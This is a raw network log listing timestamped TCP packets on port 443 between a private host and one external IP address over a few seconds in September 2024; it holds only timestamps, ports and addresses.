Sep 24, 2024 06:30:06.175422907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:06.218202114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:06.431420088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:06.431570053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:06.879410028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:06.879527092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606642962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606657982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606668949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606750965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606759071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606771946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606805086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606836081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606843948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606858015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606874943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606889963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606900930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606950045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.606959105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.606971979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607003927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607042074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607048988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607065916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607116938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607125044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607141018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607171059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607196093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607254982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607271910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607281923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607291937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607300997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607347965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.607367039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607448101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.607508898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:07.815412998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:07.815469027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.255409002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.255527973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.413570881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.413589001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413604021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413760900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.413769007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413788080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413794994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413921118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.413930893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413945913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413963079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.413968086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414117098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414125919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414141893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414164066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414192915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414199114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414207935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414300919 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414308071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414328098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414349079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414371014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414380074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414402008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414428949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414438009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414446115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414477110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414489985 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414522886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414560080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414571047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414592028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414602995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414624929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414633036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414644957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414654970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414678097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414716959 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414726973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414761066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414820910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414829969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414841890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414876938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414886951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414897919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414916992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.414938927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.414947987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415028095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415030003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415100098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415108919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415154934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415165901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415184021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415188074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415236950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415241957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415256023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415319920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415344000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415352106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415410995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415416002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415443897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415508986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415515900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415515900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415524960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415577888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415594101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415627003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415627956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415635109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415652037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415654898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415674925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415705919 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415714025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415735006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415754080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415786982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415787935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415796995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415822983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415843964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415848970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415899038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415899038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415906906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415925026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415956020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.415987015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.415992022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.416006088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.416028976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.416029930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.416039944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.416090965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.468278885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.683413029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.735408068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:08.959423065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:08.959575891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.407402039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.407537937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.953880072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.953893900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.953906059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954009056 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954015970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954036951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954045057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954062939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954067945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954077959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954086065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954098940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954108953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954118013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954149961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954153061 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954174042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954190969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954190969 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954204082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954225063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954232931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954242945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954261065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954268932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954277992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954319000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954349041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954358101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954371929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954406023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954411983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954425097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954483032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954535961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954550028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954566956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954571009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954607964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954659939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954669952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954716921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:09.954744101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954838991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:09.954875946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.159419060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.159517050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.591415882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.591480970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659742117 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659754038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659766912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659832001 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659837961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659857035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659895897 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659902096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659915924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.659980059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659980059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.659989119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660002947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660018921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660029888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660058975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660065889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660065889 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660079002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660130024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660139084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660150051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660176992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660232067 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660243988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660254955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660274982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660293102 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660312891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660325050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660365105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660373926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660384893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660408020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660446882 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660454988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660473108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660546064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660556078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660564899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660593987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660610914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660628080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660643101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660718918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660732985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660742044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660761118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660844088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660902977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660949945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.660959005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.660989046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661010981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661017895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661036968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661072016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661079884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661088943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661112070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661132097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661145926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661210060 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661218882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661230087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661299944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661339998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.661381960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661499023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.661540985 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:10.867402077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:10.868360043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:11.295406103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:11.295556068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.123409033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.123609066 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297506094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297524929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297539949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297650099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297660112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297676086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297746897 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297754049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297765017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297796965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297807932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297859907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297866106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297878027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297921896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297929049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297946930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.297971964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.297987938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298021078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298024893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298048019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298110962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298130035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298144102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298274994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298284054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298357964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298445940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298580885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.298589945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.298639059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.507404089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.507498980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.745522022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.745560884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745582104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745595932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745737076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.745748997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745781898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745786905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745929956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.745943069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745950937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.745975971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746011019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746030092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746032953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746069908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746102095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746114016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746129990 CEST	443	49748	188.114.97.3	192.168.2.9
